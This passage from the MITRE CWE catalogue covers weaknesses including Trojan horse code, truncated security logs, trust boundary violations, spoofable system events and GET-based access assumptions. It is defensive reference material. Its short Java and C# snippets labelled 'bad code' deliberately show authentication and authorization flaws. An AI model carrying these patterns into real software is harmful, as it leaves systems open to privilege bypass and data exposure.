ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.506Embedded Malicious Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.508Non-Replicating Malicious Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.509Replicating Malicious Code (Virus or Worm)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the product that is being installed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.

Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrTrojan Horse
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 7, "Viruses, Trojans, and Worms In a Nutshell" Page 208. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Terminology_Notes
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated References, Terminology_Notes
2018-03-27CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-222: Truncation of Security-relevant Information

Weakness ID: 222
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1210Audit / Logging Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.
+ Observed Examples
ReferenceDescription
Web browser truncates long sub-domains or paths, facilitating phishing.
Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters.
application server does not log complete URI of a long request (truncation).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.997SFP Secondary Cluster: Information Loss
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTruncation of Security-relevant Information
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-501: Trust Boundary Violation

Weakness ID: 501
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product mixes trusted and untrusted data in the same data structure or structured message.
+ Extended Description
A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

(bad code)
Example Language: Java 
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
session.setAttribute(ATTR_USR, usrname);
}
(bad code)
Example Language: C# 
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
session.Add(ATTR_USR, usrname);
}

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsTrust Boundary Violation
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Demonstrative_Example, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated References
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE-360: Trust of System Event Data

Weakness ID: 360
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Security based on event locations are insecure and can be spoofed.
+ Extended Description
Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.422Unprotected Windows Messaging Channel ('Shatter')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example code prints out secret information when an authorized user activates a button:

(bad code)
Example Language: Java 
public void actionPerformed(ActionEvent e) {
if (e.getSource() == button) {
System.out.println("print out secret information");
}
}

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

+ Observed Examples
ReferenceDescription
Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.
+ Potential Mitigations

Phase: Architecture and Design

Never trust or rely any of the information in an Event for security.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1411Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPTrust of system event data
Software Fault PatternsSFP29Faulty endpoint authentication
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID: 650
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.
+ Extended Description
The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.436Interpretation Conflict
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could escalate privileges.
Integrity

Technical Impact: Modify Application Data

An attacker could modify resources.
Confidentiality

Technical Impact: Read Application Data

An attacker could obtain sensitive information.
+ Likelihood Of Exploit
High
+ Potential Mitigations

Phase: System Configuration

Configure ACLs on the server side to ensure that proper level of access control is defined for each accessible resource representation.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.945SFP Secondary Cluster: Insecure Resource Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Observed_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-446: UI Discrepancy for Security Feature

Weakness ID: 446
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.
+ Extended Description
When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the product does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the product only implements "restrict SOME".
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.447Unimplemented or Unsupported Feature in UI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.448Obsolete Feature in UI
